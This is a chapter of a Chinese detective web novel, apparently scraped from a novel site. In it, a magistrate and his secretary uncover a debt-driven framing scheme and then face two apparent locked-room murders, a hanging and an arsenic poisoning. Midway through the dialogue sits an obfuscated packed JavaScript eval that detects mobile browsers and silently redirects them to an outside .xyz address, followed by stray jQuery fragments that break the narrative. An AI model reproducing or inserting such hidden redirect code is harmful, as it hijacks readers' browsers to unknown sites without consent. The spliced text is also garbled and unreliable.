默认冷灰
24号文字
方正启体

11. 借刀杀人

作者:南十椿本书字数:K更新时间:
    堂中人散去,萧予戈晃荡到师爷桌旁,盯着半干未干的墨迹好半晌。


    “大人有惑?”送完南楚柳出门,正从外头进来的南楚杉问道。


    萧予戈的眉头不自觉蹙起,“本官只是在想,这起案子未免也太顺利了,就像是潘掌柜故意引导本官判他罪刑一般。”


    南楚杉取回案上若干文件,走到他身边站立,“方才我问过楚柳,镂金藤团粉珠钗着实有仿冒品。大人在堂上以此事问询蓉香,是否心中已有猜想?”


    “倒说不上猜想,就是有种违和感。”萧予戈苦笑,“师爷是否觉着本官方才有些滥疑无辜了?”


    “会否无辜,待楚柳回来后便知。”


    南楚柳归来已近晚饭,萧予戈还未来得及发问,就见她急慌慌地抱过姐姐递来的大碗咕咚咚往口里灌水。


    连着来了两三回,这才心满意足地搁好碗,取出腰间的纸条递给萧予戈,“大人可得收好,这是致命的证据。”


    萧予戈前后翻看,又仔细读了两遍,夹着纸片问她,“你上交这个,是想让本官将此地私设的赌场一锅端吗?”


    “私设?”南楚柳挺起后背,“这家赌场是光明正大开设的,每年还能得到京城颁发的‘最佳商户’。”


    萧予戈抿出点笑意,继续道:“这是谁欠下的?跨度长远,金额庞大,应当与燕秀才无关。”


    “是潘掌柜的借据。”南楚柳勾过一旁的烧火凳坐下,敲着自己酸软的小腿,“依着他们的说法,潘掌柜已还了不少,但仍旧负债累累。”


    “这就是他盗取店内货品的缘由?”


    南楚柳道:“大人嗅一下借据上的气味便知。”


    萧予戈将纸片贴近,虽然味道极浅极淡,但的确是脂粉香,他心底很快飞过一阵疑惑,说道:“潘夫人是礼佛之人,不会涉足这等场所。”


    “这张借据,是潘掌柜带着蓉香一道签下的。”


    “果然。”萧予戈和南楚杉一同感叹,南楚杉道,“你还查到什么,一并都说出来,甭跟倒豆子似的。”


    南楚柳拍去掌心不知何时粘上的灶灰,“因潘夫人一心礼佛,已有多年不与潘掌柜同房。潘掌柜正值壮年,又有蓉香这般温香软玉在侧,干柴撞烈火,一发不可收拾。蓉香原先便是因涉挪用前东家的货款被扫地出门,入‘瑞锦庄’后更是狂妄,明着倒是勤恳,但暗地里却是赌坊的常客,后来还哄骗潘掌柜签下多张借据,为之采购珠宝玉饰。”


    “潘掌柜就这般任她宰割?”萧予戈问。


    “自然不能,”南楚柳站起身,用脚把凳子移回原位,“所以潘掌柜才悄悄将嫁祸用的箱子换成梁木匠所制的机关箱,在公堂上闹出这么一出。”


    “这事你从何得知?”


    “方才我去了趟地牢,听潘掌柜亲口告知。”


    萧予戈看向南楚杉,“此案牵涉金额较大,本官需亲自审问。”


    “我这就去安排,请大人稍等。”


    南楚柳在菜篓翻了翻,寻出个洗过的黄瓜,咬下一口鼓着腮帮子道,“也就大人敢这么指使二姐,爹任职期间总是派大哥和我出去,回回都说二姐需要休息,闹得二姐成日跑去找衙役们过招。”


    “南大人未至告老之时,何以这样早离任?”


    “爹说与其在官场中浮沉,不如与青灯古佛相伴。”南楚柳吃完黄瓜又去瞧蒸笼,笑道:“有我爱吃的粉蒸肉和豆沙包,二姐果然还是疼我的。”


    萧予戈望着她脸上不甚自然的笑容,打消继续发问的念头。


    县衙的地牢虽说昏暗,好在干净通风,又燃着蜡烛供暖,倒不显得那样可怖。


    潘掌柜住靠里的单人牢房,正盘坐在床上拨弄腕上佛珠。萧予戈弯身入内,冲他颔首问好,又象征性地寒暄两句后,与南楚杉一起搬过椅子在床边坐下。


    “青天大人,草民知罪。”


    萧予戈微笑,“本官姓萧。”


    “萧大人,雇工一事确实是我的疏忽。不知燕秀才可还能在本地工作?”


    “本官已着南师爷为之办理临时户籍,潘掌柜可以放心。”


    潘掌柜舒出一口气,萧予戈续道,“若你非栽赃陷害的主谋,无需多受这半月刑罚。”


    “权当是草民在赎罪罢。”


    南楚杉冷道:“莫要说这些好听话。你看似一力承担,但还是有意无意地向大人透露蓉香亦有嫌疑。”


    潘掌柜气定神闲地拨弄佛珠,“环海人人都知南师爷偏袒女子,没想到竟会如此黑白不分。”


    “蓉香上堂时衣饰皆是出自你的荷包罢?本官已差人前去‘翠宝轩’查访,伙计证实不日前蓉香曾在店内提及这是你赠她的生辰之礼。可本官颇为好奇的是,蓉香并非你‘瑞锦庄’资历最老的女伙计,为何只有她能获得这样名贵的饰品?且,潘掌柜你也因她哄骗你签下大额借据一事对她怀恨在心罢?”


    “就算我真令大人怀疑蓉香,但她现在还是平安无事,而我正在这一方小牢中迎接大人的审问。”


    萧予戈道:“此点教本官疑惑不已。”


    “说到底,还是草民自作聪明了。”潘掌柜苦笑着摇头。


    南楚杉道:“说到底不过是色/欲迷心罢了。至于蓉香之事,大人自会有所裁决。”萧予戈点头,放好椅子同她离开,潘掌柜在关门一瞬躺倒在床,面朝里睡下。


    三人一猫的晚饭吃得愉悦,席间萧予戈还问及萧卫何时归来,南楚柳忙着逗猫,随口回说还有两三日,南楚杉往她菜碟里夹进一大块粉蒸肉,嘱咐她先行用饭。


    南楚柳意兴阑珊收回手,捧碗扒饭,想到什么似的说道:“二姐现在越发像娘了。”


    “像娘不好么?如她那般聪慧的女子,世间罕有。”提到自己的娘亲,南楚杉眼里泛起点点闪光,很快回神轻斥道,“快些吃饭,吃完了还要回万事屋整理案卷。”


    南楚柳随口应了两声,扁下嘴重新与碗里满满的大米饭斗争。


    饭菜用去过半,有一衙役急切入厅,报告蓉香在房中上吊身亡。南楚杉率先放筷起身,嘱南楚柳与小肉干看守,回过头时,萧予戈已与衙役朝门口走去,快步跟上。


    尸体先一步被抬去县衙的仵作房,屋内唯余几名衙役,王九恰在门口等候,南楚杉上前询问来龙去脉,王九告知尸体的第一发现者是蓉香邻屋的伙计。


    “我原想来喊蓉香姐去吃饭,见她一直没有应答,这才敲门入内,谁知道.......”小丫头惊魂未定,说话时四肢仍在不住颤动。


    南楚杉问道:“约是何时?”


    “在一盏茶前。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15846020|175787||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    一盏茶?萧予戈心里算计,这似乎是他们与潘掌柜交谈之时。


    “大人,发现遗书。”衙役呈交信封,萧予戈转递到小丫头眼前,“这可是蓉香的笔迹?”


    “好像是,又好像不是,我不知道。”小丫头垂头,声音几如蚊鸣。


    南楚杉命道:“王九,你领两人查封此屋,不得县衙允许,闲杂人等不得靠近,违者三十大板。”王九应是,退下施令,她又转向小丫头,放轻声音说道,“你接下来若是想到什么,可随时前往县衙报告。”


    正想离去时,便见萧予戈向小丫头递去一块手帕,后者又惊又羞地收下,萧予戈温和一笑,“恰如南师爷所言,县衙的大门随时为你们敞开。”而后,他大步流星离府。


    天幕渐暗,沿街灯笼摇曳,好似人间繁星。


    南楚杉走在萧予戈斜后方,抬眼便是他异常愉悦的侧脸,心里有股说不出的感觉。


    “起风了。”萧予戈忽道。


    “大人相信蓉香是自尽而亡么?”


    “既有遗书,案发现场又是密室。理应如此。”萧予戈顿了顿,“但本官不信。”


    南楚杉抿嘴笑,唇边梨涡若隐若现,“我也不信。大人或许不知,依着蓉香往日的脾性,这世上所有人死了,她都要活到最后一刻,怎会轻易寻死?”


    “师爷言下之意是……”


    “大人心里不也有数了么?”


    “是他杀。”


    二人相视一笑,又很快严肃起来,并肩赶回衙门。


    “大人可算回来了。”面露疲色的高个男子自大堂靠近,萧予戈唤一句恭仵作,又问蓉香尸体的状况,恭辛泽回说齐仵作正在验尸,稍后即有结果。


    萧予戈点头欲朝仵作房去,恭辛泽伸手拦在他身前,“在去瞧那美艳女子前,请大人先与我往地牢走一遭。”


    “恭仵作此举何意?”


    “潘学敬死了。”


    萧予戈与南楚杉分道扬镳,由恭辛泽引路前往牢房。离开前还生龙活虎的潘掌柜正仰面躺在床上,盖半拉薄被,若非面色泛乌,绝对不知是中毒之身。


    牢头毕恭毕敬地紧随,萧予戈问一句,他答一串,倘若不是恭辛泽制止,只怕他连今日穿的什么内衬,吃的什么饭都要一一道出。


    “照你所言,他是在本官离去后不久服的毒?”


    牢头点头,“小人见他不曾理会,以为他是睡着。可南师爷吩咐过,到点就要吃饭,谁都不准忤逆,小人这才开门进去叫潘掌柜起床,但那时他已经回天乏力。”


    “恭仵作可知他中的是什么毒?”


    恭辛泽道:“仅从当前神状来看,像是砒/霜。更为确切的,恐怕要尸解后才有定论。”


    “有劳恭仵作。”


    三人朝一边让去,目送衙役们将蒙了白布的担架抬向仵作房。


    萧予戈同牢头交代几句,与恭辛泽走了出去。夜风突袭,打他们一个措手不及,萧予戈略拢了拢袖子,随口问道:“今日似乎不是你当值?”


    “我来给君染送饭,她这两日闹肚子疼,只能吃些流食。”恭辛泽捏了把下巴的薄肉,“眼下看来,她又要疼上一阵。”


    “潘掌柜之死,恭仵作如何看?”


    恭辛泽笑,“密室杀人案。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)